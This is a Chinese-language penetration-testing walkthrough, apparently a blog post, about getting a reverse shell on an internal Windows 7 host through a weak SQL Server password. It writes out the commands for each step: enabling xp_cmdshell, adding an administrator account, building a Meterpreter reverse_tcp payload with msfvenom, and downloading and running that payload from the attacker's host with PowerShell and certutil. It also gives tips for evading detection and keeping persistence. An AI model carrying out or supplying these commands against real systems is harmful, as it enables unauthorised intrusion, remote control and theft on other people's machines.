【实战3】记一次内网中反弹shell的艰难历程
字数 1466 2025-08-26 22:11:40
内网渗透实战:通过SQL Server弱口令获取反弹Shell的完整过程
0x00 环境概述
目标系统环境:
- 操作系统:Windows 7
- 开放端口:80(HTTP)、445(SMB)、1433(MSSQL)、3389(RDP)
- 数据库:Microsoft SQL Server
- 网络环境:内网环境,无法直接访问外网
攻击者环境:
- 本地IP:195.1.7.23
- 工具:Kali Linux (含Metasploit)、PHPStudy
0x01 初始渗透
端口扫描与信息收集
- 对目标IP进行端口扫描发现开放以下服务:
- 80端口:仅显示安装成功页面,目录扫描无果
- 445端口:使用nmap脚本扫描未发现MS17-010等漏洞
- 1433端口(MSSQL):成功爆破出弱口令 sa/sa
- 3389端口(RDP):爆破未成功
SQL Server连接与权限提升
- 使用Navicat成功连接MSSQL数据库
- 启用xp_cmdshell执行系统命令:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; - 验证系统权限:
确认当前为system权限exec master..xp_cmdshell "whoami";
0x02 远程桌面连接尝试
- 尝试添加管理员用户:
exec master..xp_cmdshell "net user test paperpen123. /add"; exec master..xp_cmdshell "net localgroup administrators test /add"; - 发现限制:
- Windows 7仅允许单用户登录
- 直接登录可能导致被发现,放弃此方法
0x03 反弹Shell方案选择
初始方案:PowerShell下载
- 生成Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe - 搭建本地Web服务(PHPStudy):
- 将shell.exe放入网站根目录
- 访问URL:http://195.1.7.23/shell.exe
- 设置Metasploit监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 195.1.7.23 set LPORT 8888 exploit - 尝试通过PowerShell下载:
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient"; exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";- 失败原因:DownloadFile方法不可用,可能由于命令长度限制或环境限制
替代方案:Certutil下载
- 使用certutil.exe下载文件:
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';- 成功将shell.exe下载到目标服务器
0x04 执行反弹Shell
- 执行下载的payload:
exec master..xp_cmdshell 'shell.exe'; - 遇到问题:
- 执行后界面卡住
- 实际已成功建立连接,返回Metasploit监听界面
- 验证连接:
- 成功获取Meterpreter会话
- 确认目标为域环境
0x05 关键技术与注意事项
-
xp_cmdshell使用技巧:
- 需要先启用高级选项再启用xp_cmdshell
- 命令执行有长度限制,可能需要拆分复杂命令
-
内网文件传输方法:
- 当PowerShell受限时,certutil是可靠的替代方案
- certutil命令格式:
certutil.exe -urlcache -split -f "http://attacker_ip/file" [output_file]
-
反弹Shell注意事项:
- 内网环境需确保攻击机IP可达
- 防火墙设置可能导致连接失败,需提前关闭或配置规则
- 执行payload可能出现假死现象,需检查监听端
-
规避检测:
- 避免在单用户系统上直接登录RDP
- 考虑使用更隐蔽的持久化方法而非直接添加用户
0x06 后续渗透方向
-
域环境信息收集:
- 获取域控制器信息
- 枚举域用户和组
- 查找域内共享资源
-
横向移动技术:
- Pass The Hash
- 利用MS17-010等漏洞
- 查找域内其他SQL Server实例
-
权限维持:
- 创建计划任务
- 注册表持久化
- 部署后门服务
总结
本案例展示了从SQL Server弱口令到获取系统级访问的完整过程,重点包括:
- 通过弱口令获取数据库访问权限
- 利用xp_cmdshell执行系统命令
- 在内网环境下通过certutil实现文件传输
- 建立反弹Shell会话的技术细节
此技术路线在内网渗透中具有典型性,特别适用于无法直接RDP连接或需要隐蔽操作的情况。后续可在获取的Meterpreter会话基础上进行更深入的域渗透和横向移动。